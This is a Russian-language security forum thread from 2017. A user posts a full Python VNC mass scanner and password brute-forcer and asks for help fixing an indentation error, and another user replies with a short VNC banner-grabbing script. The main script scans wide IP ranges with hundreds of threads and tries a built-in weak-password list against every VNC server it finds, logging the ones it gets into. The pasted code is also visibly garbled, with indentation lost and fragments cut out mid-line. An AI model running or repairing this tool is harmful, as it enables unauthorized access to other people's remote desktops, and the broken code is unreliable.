ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |

23.02.2017, 10:14
|
|
Guest
Сообщений: n/a
Провел на форуме: 29728
Репутация:
0
|
|
Помогите исправить ошибку в этом скрипте не могу запусти не в одной версии python. В Ubuntu и KaliLinux та же ошибка:
File "vncb.py", line 867
return "%i.%i.%i.%i" % (int(integer[0:2],16),int(integer[2:4],16),int(integer[4:6],16),int(integer[6:8],16))
^
IndentationError: unexpected indent
Код:
Code:
import sys
import os
import cmd
import socket
import threading
import pickle
import time
from sys import stdout
from struct import pack, unpack
VERSION = "0x203"
CODENAME = "CheesePizza"
DEFAULT_CONFIG = dict()
CONFIG = dict()
FILES = dict()
FOLDERS = dict()
DISCLAIMER = """
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This is not a hacking tool, this is a security assessment tool.
We do not encourage cracking or any other illicit activities that
put in danger the privacy or the informational integrity of others,
and we certainly do not want this tool to be misused.
!!! USE IT AT YOUR OWN RISK !!!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
"""
DEFAULT_PASSWORDS = """1
12
123
1234
12345
123456
1234567
12345678
letmein
admin
administ
password
1212
"""
#============DEFAULT_CONFIG============#
DEFAULT_CONFIG['scan_range'] = "192.168.*.*"
DEFAULT_CONFIG['scan_port'] = "5900"
DEFAULT_CONFIG['scan_timeout'] = "5"
DEFAULT_CONFIG['scan_threads'] = "1000"
DEFAULT_CONFIG['brute_threads'] = "500"
DEFAULT_CONFIG['brute_timeout'] = "5"
DEFAULT_CONFIG['auto_save'] = "true"
DEFAULT_CONFIG['auto_brute'] = "true"
#============DEFAULT_CONFIG============#
#============FILES============#
FILES['results'] = {"folder": "output", "name":"results.txt"}
FILES['ips'] = {"folder": "output", "name":"ips.txt"}
FILES['passwords'] = {"folder": "input", "name":"passwords.txt"}
FILES['config'] = {"folder": "nbin", "name":"config.conf"}
FILES['ips.tmp'] = {"folder": "nbin", "name":"ips.tmp"}
#============FILES============#
#============FOLDERS============#
FOLDERS['output'] = "output"
FOLDERS['input'] = "input"
FOLDERS['nbin'] = "bin"
#============FOLDERS============#
class _baseDes(object):
def __init__(self, mode=0, IV=None, pad=None, padmode=1):
if IV:
IV = self._guardAgainstUnicode(IV)
if pad:
pad = self._guardAgainstUnicode(pad)
self.block_size = 8
if pad and padmode == 2:
raise ValueError("Cannot use a pad character with 2")
if IV and len(IV) != self.block_size:
raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes")
self._mode = mode
self._iv = IV
self._padding = pad
self._padmode = padmode
def getKey(self):
"""getKey() -> bytes"""
return self.__key
def setKey(self, key):
"""Will set the crypting key for this object."""
key = self._guardAgainstUnicode(key)
self.__key = key
def getMode(self):
"""getMode() -> pyDes.ECB or pyDes.1"""
return self._mode
def setMode(self, mode):
"""Sets the type of crypting mode, pyDes.ECB or pyDes.1"""
self._mode = mode
def getPadding(self):
"""getPadding() -> bytes of length 1. Padding character."""
return self._padding
def setPadding(self, pad):
"""setPadding() -> bytes of length 1. Padding character."""
if pad is not None:
pad = self._guardAgainstUnicode(pad)
self._padding = pad
def getPadMode(self):
"""getPadMode() -> pyDes.1 or pyDes.2"""
return self._padmode
def setPadMode(self, mode):
"""Sets the type of padding mode, pyDes.1 or pyDes.2"""
self._padmode = mode
def getIV(self):
"""getIV() -> bytes"""
return self._iv
def setIV(self, IV):
"""Will set the Initial Value, used in conjunction with 1 mode"""
if not IV or len(IV) != self.block_size:
raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes")
IV = self._guardAgainstUnicode(IV)
self._iv = IV
def _padData(self, data, pad, padmode):
if padmode is None:
padmode = self.getPadMode()
if pad and padmode == 2:
raise ValueError("Cannot use a pad character with 2")
if padmode == 1:
if len(data) % self.block_size == 0:
return data
if not pad:
pad = self.getPadding()
if not pad:
raise ValueError("Data must be a multiple of " + str(self.block_size) + " bytes in length. Use padmode=2 or set the pad character.")
data += (self.block_size - (len(data) % self.block_size)) * pad
elif padmode == 2:
pad_len = 8 - (len(data) % self.block_size)
if sys.version_info[0] = 0:
if ch & (1 data, into a string"""
result = []
pos = 0
c = 0
while pos > 3
Bn[pos + 1] = (v & 4) >> 2
Bn[pos + 2] = (v & 2) >> 1
Bn[pos + 3] = v & 1
pos += 4
j += 1
self.R = self.__permutate(des.__p, Bn)
self.R = list(map(lambda x, y: x ^ y, self.R, self.L))
self.L = tempR
i += 1
iteration += iteration_adjustment
self.final = self.__permutate(des.__fp, self.R + self.L)
return self.final
def crypt(self, data, crypt_type):
"""Crypt the data in blocks, running it through des_crypt()"""
if not data:
return ''
if len(data) % self.block_size != 0:
if crypt_type == des.DECRYPT:
raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n.")
if not self.getPadding():
raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n. Try setting the optional padding character")
else:
data += (self.block_size - (len(data) % self.block_size)) * self.getPadding()
if self.getMode() == 1:
if self.getIV():
iv = self.__String_to_BitList(self.getIV())
else:
raise ValueError("For 1 mode, you must supply the Initial Value (IV) for ciphering")
i = 0
dict = {}
result = []
while i 0:
return False
else:
return True
except OSError:
return True
def file_exists(self, file_path):
return os.path.isfile(file_path)
def dir_exists(self, dir_path):
if os.path.exists(dir_path) and (not os.path.isfile(dir_path)):
return True
else:
return False
def dirname(self, path):
return os.path.dirname(path)
def mkdir(self, path):
try:
os.makedirs(path)
except OSError:
passlist
class Deploy:
def __init__(self):
self.deploy_folders()
self.deploy_files()
def deploy_folders(self):
for (key, folder) in FOLDERS.items():
folder = Files.root_path + folder + Files.sep
FOLDERS[key] = folder
if not Files.dir_exists(folder):
Files.mkdir(folder)
def deploy_files(self):
for (key, file) in FILES.items():
file = FOLDERS[file['folder']] + file['name']
FILES[key] = file
if not Files.file_exists(file):
Files.file_write(file)
if Files.file_empty(FILES['config']):
Files.file_write(FILES['config'], pickle.dumps(DEFAULT_CONFIG))
if Files.file_empty(FILES['passwords']):
Files.file_write(FILES['passwords'], DEFAULT_PASSWORDS)
class Display:
def __init__(self):
pass
def delimiter(self, string):
stdout.write("\n" + ("-" * len(string)) + "\n")
def getTerminalSize(self):
current_os = os.name
tuple_xy=None
if current_os in ('nt','dos','ce'):
tuple_xy = self._getTerminalSize_windows()
if tuple_xy is None:
tuple_xy = self._getTerminalSize_tput()
if current_os == 'posix':
tuple_xy = self._getTerminalSize_linux()
if tuple_xy is None:
tuple_xy = (80, 25)
return tuple_xy
def _getTerminalSize_windows(self):
res=None
try:
from ctypes import windll, create_string_buffer
h = windll.kernel32.GetStdHandle(-12)
csbi = create_string_buffer(22)
res = windll.kernel32.GetConsoleScreenBufferInfo(h, csbi)
except:
return None
if res:
import struct
(bufx, bufy, curx, cury, wattr,
left, top, right, bottom, maxx, maxy) = struct.unpack("hhhhHhhhhhh", csbi.raw)
sizex = right - left + 1
sizey = bottom - top + 1
return sizex, sizey
else:
return None
def _getTerminalSize_tput(self):
try:
import subprocess
proc=subprocess.Popen(["tput", "cols"],stdin=subprocess.PIPE,stdout=subprocess.PIPE)
output=proc.communicate(input=None)
cols=int(output[0])
proc=subprocess.Popen(["tput", "lines"],stdin=subprocess.PIPE,stdout=subprocess.PIPE)
output=proc.communicate(input=None)
rows=int(output[0])
return (cols,rows)
except:
return None
def _getTerminalSize_linux(self):
def ioctl_GWINSZ(fd):
try:
import fcntl, termios, struct, os
cr = struct.unpack('hh', fcntl.ioctl(fd, termios.TIOCGWINSZ,'1234'))
except:
return None
return cr
cr = ioctl_GWINSZ(0) or ioctl_GWINSZ(1) or ioctl_GWINSZ(2)
if not cr:
try:
fd = os.open(os.ctermid(), os.O_RDONLY)
cr = ioctl_GWINSZ(fd)
os.close(fd)
except:
pass
if not cr:
try:
cr = (env['LINES'], env['COLUMNS'])
except:
return None
return int(cr[1]), int(cr[0])
def posvals(self,val='x'):
self.size = self.getTerminalSize()
self.tx = self.size[0]
self.ty = self.size[1]
if val=='x':
return self.tx
else:
return self.ty
def clearscreen(self):
if os.name in ("nt", "dos", "ce"):
os.system("CLS")
elif os.name == "posix":
os.system("clear")
else:
stdout.write("\n"*150)
self.banner()
def banner(self):
banner = list()
banner.append("|>>>> - nVNC Scanner - %s - %s - Scan Timeout: %s Scan Port: %s" % (CONFIG['scan_threads'], CONFIG['scan_timeout'], CONFIG['scan_port']))
banner.append("Brute Threads: %s Brute Timeout: %s Auto Brute: %s" % (CONFIG['brute_threads'], CONFIG['brute_timeout'], CONFIG['auto_brute']))
banner.append("Scan Range: %s Auto Save: %s" % (CONFIG['scan_range'], CONFIG['auto_save']))
stdout.write("\n")
for line in banner:
stdout.write(line.center(self.posvals()))
if 'nVNC' in line:
stdout.write('\n')
stdout.write("\n\n")
def disclaimer(self):
for line in DISCLAIMER.split('\n'):
stdout.write(line.center(self.posvals()))
class NetTools:
def convert_ip(self, string):
if self.is_ip(string.strip()):
return [self.ip2int(string.strip())]
else:
return False
def convert_range(self, string):
if string.count('-') == 1:
string = string.strip().split('-')
if self.is_ip(string[0]) and self.is_ip(string[1]):
string = [self.ip2int(x) for x in string]
string.sort()
return string
elif string.count('*') in (1,2,3):
if self.is_ip(string.replace('*', '0')):
return [self.ip2int(string.replace('*', '0')), self.ip2int(string.replace('*', '255'))]
else:
return False
def is_range(self, string):
if string.count('-') == 1:
string = string.strip().split('-')
if self.is_ip(string[0]) and self.is_ip(string[1]):
return True
elif string.count('*') in (1,2,3):
if self.is_ip(string.replace('*', '0')):
return True
else:
return False
def is_ip(self, address='0.0.0.0'):
try:
octets = address.split('.')
if len(octets) == 4:
ipAddr = "".join(octets)
if ipAddr.isdigit():
if (int(octets[0]) >= 0) and (int(octets[0]) = 0) and (int(octets[1]) = 0) and (int(octets[2]) = 0) and (int(octets[3]) ").rstrip()
ruler = "~"
def default(self, line):
stdout.write("\n\tNope.\n\n")
#==========MISC COMMANDS==========#
def do_disclaimer(self, line):
Display.disclaimer()
def do_add(self, line):
line = line.lower().split(" ")
if len(line) == 2 and line[0] and line[1]:
if line[1] in FILES.keys():
Files.file_write(FILES[line[1]], line[0], 'i')
stdout.write("\n\t[OK]\n")
else:
stdout.write("\n\t[ERROR]\n")
else:
stdout.write("\n\t[ERROR]\n")
time.sleep(0.5)
Display.clearscreen()
def do_flush(self, line):
line = line.lower().split(" ")
if len(line) == 1 and line[0]:
if line[0] in FILES.keys():
Files.file_write(FILES[line[0]])
stdout.write("\n\t[OK]\n")
elif line[0].strip() in ("all", "everything"):
for file in FILES.keys():
if file != "config":
Files.file_write(FILES[file])
stdout.write("\n\t[OK]\n")
else:
stdout.write("\n\t[ERROR]\n")
time.sleep(0.5)
Display.clearscreen()
def do_clear(self, line):
Display.clearscreen()
def do_cls(self,line):
self.do_clear(line)
def do_exit(self, line):
sys.exit("Bye.")
def do_quit(self, line):
self.do_exit(line)
def do_q(self, line):
self.do_exit(line)
#==========MISC COMMANDS==========#
#==========SCAN COMMAND===========#
def do_scan(self, line):
line = line.lower().split(" ")
if len(line) == 1 and line[0] != "":
if NetTools.is_range(line[0]):
stdout.write("\n\t[OK]\n")
CONFIG['scan_range'] = line[0]
else:
stdout.write("\n\t[ERROR]\n")
stdout.write("\n")
ScanEngine.Start()
#==========SCAN COMMAND===========#
#==========BRUTE COMMAND===========#
def do_brute(self, line):
stdout.write("\n")
BruteEngine.Start()
#==========BRUTE COMMAND===========#
#==========SET COMMAND===========#
def do_set(self, line):
OK = False
line = line.lower().split(" ")
if len(line) == 2 and line[0] in CONFIG.keys():
if line[0] == "scan_range" and NetTools.is_range(line[1]):
OK = True
elif line[0] in ("scan_threads", "brute_threads", "scan_port") and Misc.is_int(line[1]):
OK = True
elif line[0] in ("scan_timeout", "brute_timeout") and Misc.is_float(line[1]):
OK = True
elif line[0] in ("auto_brute", "auto_save") and Misc.is_bool(line[1]):
OK = True
if OK:
CONFIG[line[0]] = line[1]
stdout.write("\n\t[OK]\n")
else:
stdout.write("\n\t[ERROR]\n\n")
else:
stdout.write("\n\t[ERROR]\n\n")
if CONFIG['auto_save'] == "true":
Misc.save_config()
time.sleep(0.5)
Display.clearscreen()
#==========SET COMMAND===========#
#==========SHOW COMMAND===========#
def do_show(self, line):
line = line.lower()
if line in ("results", "result", "brute"):
stdout.write("\nBrute Results")
Display.delimiter("Brute Results")
for line in open(FILES['results'], 'r').readlines():
if line.strip() != "":
stdout.write("%s\n" % line.strip())
Display.delimiter("Brute Results")
elif line in ("ips", "scan", "ip"):
stdout.write("\nScan Results")
Display.delimiter("Scan Results")
for line in open(FILES['ips'], 'r').readlines():
if line.strip() != "":
stdout.write("%s\n" % line.strip())
Display.delimiter("Scan Results")
elif line in ("password", "passwords", "pass"):
stdout.write("\nPasswords")
Display.delimiter("Passwords")
for line in open(FILES['passwords'], 'r').readlines():
if line.strip() != "":
stdout.write("%s\n" % line.strip())
Display.delimiter("Passwords")
else:
stdout.write("\nSettings")
Display.delimiter("Settings")
for (config, value) in CONFIG.items():
stdout.write("%s = %s\n" % (config, value))
Display.delimiter("Settings")
stdout.write("\n")
#==========SHOW COMMAND===========#
class ScanEngine:
def __init__(self):
pass
def init(self):
global lock, semaphore
lock = threading.Lock()
semaphore = threading.Semaphore(int(CONFIG['scan_threads']))
self.ips_file = open(FILES['ips'], 'a', 0)
self.current = 0
self.found = 0
self.range = NetTools.convert_range(CONFIG['scan_range'])
self.total = int(self.range[1]) - int(self.range[0])
def Start(self):
self.init()
output_thread = threading.Thread(target=self.output_thread, args=())
output_thread.daemon = True
output_thread.start()
try:
integer = self.range[0]
while integer 1:
pass
self.ips_file.close()
if CONFIG['auto_brute'] == "true":
BruteEngine.Start()
else:
stdout.write("\n\nDONE! Check \"output/ips.txt\" or type \"show ips\"!\n\n")
def scan_thread(self, integer):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(float(CONFIG['scan_timeout']))
sock.connect((NetTools.int2ip(integer), int(CONFIG['scan_port'])))
lock.acquire()
self.found += 1
self.ips_file.write("%s:%i\n" % (NetTools.int2ip(integer), int(CONFIG['scan_port'])))
lock.release()
except:
pass
semaphore.release()
def output_thread(self):
try:
while self.total >= self.current:
time.sleep(0.5)
stdout.flush()
stdout.write("\r Current [%i/%i] Found: %i " % (self.current, self.total, self.found))
except:
pass
class BruteEngine:
def __init__(self):
pass
def init(self):
global lock, semaphore
lock = threading.Lock()
semaphore = threading.Semaphore(int(CONFIG['brute_threads']))
self.results = open(FILES['results'], 'a', 0)
self.passwords = list()
self.servers = list()
self.current_password = None
self.output_kill = False
self.get_passwords()
self.get_servers()
def Start(self):
self.init()
if self.passwords is not False:
if self.servers is not False:
output_thread = threading.Thread(target=self.output_thread, args=())
output_thread.daemon = True
output_thread.start()
for self.current_password in self.passwords:
try:
for server in self.servers:
semaphore.acquire()
thread = threading.Thread(target=self.brute_thread, args=( server, self.current_password ))
thread.daemon=True
thread.start()
except:
stdout.flush()
stdout.write("\n\tSome thread related error occured, try lowering the threads amount.\n")
while threading.active_count() > 2:
pass
self.output_kill = True
self.results.close()
stdout.write("\n\nDONE! Check \"output/results.txt\" or type \"show results\"!\n\n")
else:
stdout.write("\n\tThere are no scanned ips.\n")
else:
stdout.write("\n\tThere are no passwords.\n")
def brute_thread(self, server, password):
try:
rfb = RFBProtocol(server[0], password, server[1], CONFIG['brute_timeout'])
rfb.connect()
rfb.close()
lock.acquire()
if rfb.RFB:
if rfb.connected:
self.servers.pop(self.servers.index(server))
if rfb.null:
password = "null"
self.results.write("%s:%i-%s-[%s]\n" % (str(server[0]), int(server[1]), password, rfb.name))
stdout.flush()
stdout.write("\r[*] %s:%i - %s \n\n" % (str(server[0]), int(server[1]), password))
lock.release()
except KeyboardInterrupt:
return
except:
pass
semaphore.release()
def output_thread(self):
while not self.output_kill:
try:
if self.current_password != None:
stdout.flush()
stdout.write("\r Trying \"%s\" on %i servers " % (self.current_password, len(self.servers)))
time.sleep(0.2)
except:
pass
def get_passwords(self):
if not Files.file_empty(FILES['passwords']):
for line in open(FILES['passwords'], 'r').readlines():
if line.strip != "":
self.passwords.append(line.strip())
else:
self.passwords = False
def get_servers(self):
if not Files.file_empty(FILES['ips']):
for line in open(FILES['ips'], 'r').readlines():
if line.count(":") == 1:
line = line.strip().split(":")
if NetTools.is_ip(line[0]) and Misc.is_int(line[1]):
self.servers.append([line[0], int(line[1])])
elif NetTools.is_ip(line.strip()):
self.servers.append([line.strip(), CONFIG['scan_port']])
else:
self.servers = False
class MainEngine:
def __init__(self):
global Files, NetTools, Deploy, Display, Interface, ScanEngine, BruteEngine, Misc
Files = FilesHandler()
NetTools = NetTools()
Deploy = Deploy()
Misc = MiscFunctions()
Display = Display()
ScanEngine = ScanEngine()
BruteEngine = BruteEngine()
Interface = Interface()
def Start(self):
self.load_config()
Display.clearscreen()
Interface.Start()
def load_config(self):
global CONFIG
CONFIG = pickle.load(open(FILES['config']))
if __name__ == "__main__":
try:
MainEngine = MainEngine()
MainEngine.Start()
except KeyboardInterrupt:
if CONFIG['auto_save'] == "true":
Misc.save_config()
sys.exit("\n\n\t...Exiting...\n")
|
|
|
|

23.02.2017, 10:29
|
|
Guest
Сообщений: n/a
Провел на форуме: 3930
Репутация:
0
|
|
пробуй этот
Код:
Code:
#/usr/bin/env python
import socket, sys
def getvnc(ip):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
except socket.error, err:
print "[-] socket failed. error " + str(err[0])
sys.exit()
try:
s.connect((ip, 5900))
print "[!] " + ip + " " + s.recv(4096),
s.close()
except socket.error, err:
print "[-] " + ip + " no service " + str(err)
def start(file):
with open(file) as file:
for ip in file:
getvnc(ip.rstrip())
start("ip.txt")
|
|
|
|

23.02.2017, 11:12
|
|
Guest
Сообщений: n/a
Провел на форуме: 29728
Репутация:
0
|
|
а толку то с этого брутить он не умеет..
|
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|